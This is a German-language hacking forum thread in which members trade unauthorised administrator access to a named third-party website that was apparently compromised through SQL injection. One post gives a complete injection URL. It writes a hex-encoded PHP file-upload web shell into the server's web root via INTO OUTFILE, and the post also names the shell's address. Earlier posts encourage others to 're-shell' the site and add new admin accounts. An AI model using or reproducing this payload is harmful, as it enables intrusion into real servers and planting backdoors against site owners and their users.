Durch ne Sqli bekommen.
Macht damit was ihr wollt.
Habe den User selbst angelegt, ansonsten einfach Site neu shellen und neuen Admin adden.
User: Administrato
Rechte: Administrator
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
Thanked by 12 Members:
|
|
Komme nicht rauf, check das bitte mal.
Ich nehme mal an das der Login geändert wurde. Entweder von @devmonkey oder dem Server Admin. Wie ich in meinem Startpost geschrieben habe kann man die Seite jederzeit problemlos erneut shellen. Also oben angegebene IP resolven, SQLI auf der Seite finden und shellen. Dann kannst du bei Bedarf nen neuen User anlegen. Ist nen Windows Server 2003.
Thanked by 1 Member:
|
|
SQLI:
http://www.keikong.com/news.php?id=-1 UNION SELECT 1,2,3,4,0x3c666f726d20656e63747970653d276d756c7469706172742f666f726d2d646174612720616374696f6e3d273c3f706870206563686f2022687474703a2f2f22202e20245f5345525645525b22485454505f484f5354225d202e20245f5345525645525b22524551554553545f555249225d3b203f3e27206d6574686f643d27504f5354273e53656c6563742066696c6520746f2075706c6f61643a203c696e707574206e616d653d277573657266696c652720747970653d2766696c65273e3c696e70757420747970653d277375626d6974272076616c75653d2753656e64273e3c2f666f726d3e3c3f70687020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b227573657266696c65225d5b22746d705f6e616d65225d2c20245f46494c45535b227573657266696c65225d5b226e616d65225d293b203f3e,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 INTO OUTFILE 'D:/xampp/htdocs/upload.php' FROM qbteigze_qigang.web_admin -- -&page=1
Shell:
http://www.keikong.com/upload.php
Bearbeitet von SecurityFlaw, 14 February 2017 - 02:32 Uhr.
Thema | Forum | Themenstarter | Statistik | Letzter Beitrag | |
---|---|---|---|---|---|
Free Mail Access Checker by xRisky v2 | 2024![]() |
Checker | sokab30 |
|
![]()
|
|
Wordpress Login Checker |
Allgemein | 0xBog |
|
![]()
|
|
AnonWP - Wordpress Filter V2 |
![]() |
annaa |
|
![]()
|